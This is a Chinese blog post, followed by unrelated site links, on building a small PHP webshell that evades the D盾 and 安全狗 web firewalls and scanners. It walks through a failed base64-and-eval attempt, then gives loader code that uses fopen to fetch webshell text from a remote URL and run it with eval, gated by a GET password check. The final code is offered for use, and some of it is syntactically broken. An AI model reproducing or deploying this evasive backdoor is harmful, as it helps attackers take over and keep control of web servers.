在之前sky666提到了关于大马被waf拦的问题,我决定手动去过一下bypass。可是发现怎么也过不去查杀,更别说拦截了。对此无奈,只好花了个通宵去处理一下。顺便一提,理论过所有Waf,并且被杀只需要稍微处理一下依旧可用。

Prat 1 目录

一:base64编码,处理eval函数进行绕过(失败)
二:巧妙利用fopen函数绕过waf
三:fopen函数处理eval拦截问题
四:对此次一次总结

Prat 2

起源base64编码,处理eval函数进行绕过(失败)

之前一份大马中,发现进行base64编码过后,查杀的是已知后门,而不是查杀某个函数
于是决定开端先处理一下eval看看能不能进行绕过

eval直接执行base64解码

可以成功执行,但是被D盾报4级,这样肯定是不行的

base64编码思路宣告失败

发现D盾似乎对base64_decode()函数独有情钟- -#
不管怎么处理只能处理到二级,安全狗倒是已经过去了

<?php
$a = 'base64编码过后';
$c = base64_decode($a);
eval($d = $c);
?>

Prat 3 失落

巧妙利用fopen函数绕过waf

发现base64思路惨败D盾过后,抽了支烟,说了一句D盾你个禽兽
不过失败是成功他亲爹,只好继续想新思路。
之前写过一篇水文,叫做隐藏在黑页下的大马
不过被挺多人喷的,其实这篇文章只是另外一种思路的铺垫,不过因为没人支持,也就没有写下去了。
这篇文章中用了php_curl函数,不过利用门槛比较高,于是查了一下等价函数。
首先我们来看一下fopen函数
fopen() //fopen()函数打开文件或者 URL。

思路

通过fopen打开远程url的txt文件存入一个变量中,在执行。
说干就干,首先把一份大马去掉<?以及?>
然后存入一个txt中,确保打开的时候能打开。
可能这里就有人问了,txt放哪里?
这里我只想说,心里没点B数?

大马地址:http://127.0.0.1/bh/test.txt

举个例子:

<?php
$handle1 = fopen('http://127.0.0.1/bh/test.txt', 'r');
$content1 = '';
                while(false != ($a1 = fread($handle1, 8080))){
                        $content1 .= $a1;
                        }
                        echo $content1;
                fclose($handle1);
?>

发现已经获取成功了,那么我们只需要eval执行一下就可以了

<?php
$handle1 = fopen('http://127.0.0.1/bh/test.txt', 'r');
$content1 = '';
                while(false != ($a1 = fread($handle1, 8080))){
                        $content1 .= $a1;
                        }
                        eval($content1);
                fclose($handle1);
?>

首先看一下安全狗是否拦截

大马地址:http://192.168.1.110/bh/test.txt
webshell地址:192.168.1.104/test/php.php

ok,可以看见安全狗以及绕过了,并且可以正常使用
补一张没做过处理大马访问图

不过问题来了,D盾报一级拦截,我顿时想说mmp。

之前处理一句话的时候,也是经常报我一级- -#
继续抽了支烟,然后继续处理这个错误

Prat 4 希望

fopen函数处理eval拦截问题这里没什么思路完全是因为bypass小分队的大佬帮我处理的。

贴一下最后成品代码

<?php
error_reporting(E_ERROR);
if(isset(isset($_GET['submit']) && $_GET['pass'] == "admin"){
        if($_POST[$_GET['test'] == "test"){
                $handle1 = fopen('http://127.0.0.1/bh/test2.txt', 'r');
                $content1 = '';
                while(false != ($a1 = fread($handle1, 8080))){
                        $content1 .= $a1;
                        }
                        print(eval($a1=$content1));
                fclose($handle1);
        }
        $handle = fopen('http://127.0.0.1/bh/test.txt', 'r');
    $content = '';
    while(false != ($a = fread($handle, 8080))){
        $content .= $a;
    }
                print(eval($a=$content));
fclose($handle);
}
?>

一句话地址:http://127.0.0.1/bh/test2.txt
webshell地址:http://127.0.0.1/bh/test.txt

说一下代码

if(isset($_GET['submit']) && $_GET['pass'] == "admin")

这一部分是验证部分,但是懒得写好看的登陆口,直接获取了下GET传值做判断,为了防爆破多写了一个

if($_POST[$_GET['test'] == "test")

这一部分是用来进入一句话的,当然你也可以删掉

再来说说处理eval一级,其实很简单,我也是bypass小分队老司机说了才知道的~~~

eval($a1=$content1);

看这一行代码,相信大家就已经知道了。

Prat 5 总结

前人失效的思路不代表着没有继续扩展的意义。
多想多做多实战,发现其实waf也就那回事。
无非就是在原有的基础上加了几行代码。

打造一款1kb大马并且处理D盾以及安全狗拦截与查杀的更多相关文章

  1. 【ASP.NET程序员福利】打造一款人见人爱的ORM(一)

          “很多人都不太认可以第三方ORM,因为考虑的点不够全面,没有大用户群体的ORM有保证,这点是不可否认确是事实.但是往往用户群体大的ORM又有不足之处,今天我们就来聊聊关于ORM的话题,打造 ...

  2. 【ASP.NET程序员福利】打造一款人见人爱的ORM(二)

    上一篇我已经给大家介绍AntORM的框架[ASP.NET程序员福利]打造一款人见人爱的ORM(一),今天就来着重介绍一下如何使用这套框架 1>AntORM 所有成员 如果你只想操作一种数据库,可 ...

  3. 打造一款属于自己的web服务器——开篇

    JVM总结慢慢来吧,先插播一篇水文,来介绍下最近业余一直在写的一个小项目——easy-httpserver(github).适合新手学习,大神们路过即可^_^. 一.这是个什么玩意? easy-htt ...

  4. 如何打造一款五星级的 APP ?

    移动互联网大潮来袭!据统计,2015 年平均每天有 1000 个新的应用上架,而这些应用的现状可以说是鱼龙混杂,同是每个人的眼光.品味.意识和利益都不同,因此每人眼中的应用也是不同的.在巨大的市场竞争 ...

  5. jquery+css3打造一款ajax分页插件

    原文:[原创]jquery+css3打造一款ajax分页插件 最近公司的项目将好多分页改成了ajax的前台分页以前写的分页插件就不好用了,遂重写一个 支持IE6+,但没有动画效果如果没有硬需求,个人认 ...

  6. Notepad++给自己打造一款PowerQuery M语言编辑器【转】

    Excel 使用Notepad++给自己打造一款PowerQuery M语言编辑器 Excel 使用Notepad++给自己打造一款PowerQuery M语言编辑器-Power BI-ExcelHo ...

  7. 基于VueJS的render渲染函数结合自定义组件打造一款非常强大的IView 的Table

    基于VueJS的render渲染函数结合自定义组件打造一款非常强大的IView 的Table https://segmentfault.com/a/1190000015970367

  8. 使用Python打造一款间谍程序

    知识点 这次我们使用python来打造一款间谍程序 程序中会用到许多知识点,大致分为四块 win32API  此处可以在MSDN上查看 Python基础重点在cpytes库的使用,使用方法请点击此处 ...

  9. 打造一款 刷Java 知识的小程序(二)

    学习Java的神器已上线,面向广大Java爱好者! 之前写的一篇:打造一款 刷Java 知识的小程序(一) 一.第二版做了什么? 第一版小程序只具有初级展示功能,知识点都是hardcode在代码里面的 ...

随机推荐

  1. porwedesigner 去掉引号

    PowerDesigner生成的ORACLE 建表脚本中去掉对象的双引号,设置大.小写 若要将 CDM 中将 Entity的标识符都设为指定的大小写,则可以这么设定: 打开cdm的情况下,进入Tool ...

  2. 面向对象的JavaScript-007-Function.prototype.bind() 的4种作用

    1. // Function.prototype.bind() 的作用 // 1.Creating a bound function this.x = 9; var module = { x: 81, ...

  3. jedis的publish/subscribe[转]含有redis源码解析

    首先使用redis客户端来进行publish与subscribe的功能是否能够正常运行. 打开redis服务器 [root@localhost ~]# redis-server /opt/redis- ...

  4. linux 下 使用wget 下载 jdk资源 命令

    wget --no-check-certificate --no-cookies --header "Cookie: oraclelicense=accept-securebackup-co ...

  5. 并发编程CAS操作

    并发编程CAS操作 简介 CAS即compare and swap,中文就是比较并交换 CAS是Java并发包的基石 原理 其实CAS的原理相对来说比较简单.将要被改变的数据和期望的值作比较,当两个值 ...

  6. data-参数说明(模态弹出窗的使用)

    除了通过data-toggle和data-target来控制模态弹出窗之外,Bootstrap框架针对模态弹出框还提供了其他自定义data-属性,来控制模态弹出窗.比如说:是否有灰色背景modal-b ...

  7. URAL 1430. Crime and Punishment(数论)

    题目链接 题意 :给你a,b,n,让你找出两个数x,y,使得n-(a*x+b*y)最小. 思路 : 分大小做,然后枚举a的倍数 #include <stdio.h> #include &l ...

  8. Appium命令行工作模式

    前面如何快速搭建基于python+appium的自动化测试环境介绍过安装Appium-desktop的客户端版本,然后每次需要运行脚本的时候都要先去找到Appium应用并双击打开,再点击Start S ...

  9. Android 热修复技术中的CLASS_ISPREVERIFIED问题

    一.前言 上一篇博客中,我们通过介绍dex分包原理引出了Android的热补丁技术,而现在我们将解决两个问题. 1. 怎么将修复后的Bug类打包成dex 2. 怎么将外部的dex插入到ClassLoa ...

  10. 【小梅哥FPGA进阶教程】MC8051软核在FPGA上的使用

    十.MC8051软核在FPGA上的使用 本教程内容力求以详细的步骤和讲解让读者以最快的方式学会 MC8051 IP core 的应用以及相关设计软件的使用,并激起读者对 SOPC 技术的兴趣.本实验重 ...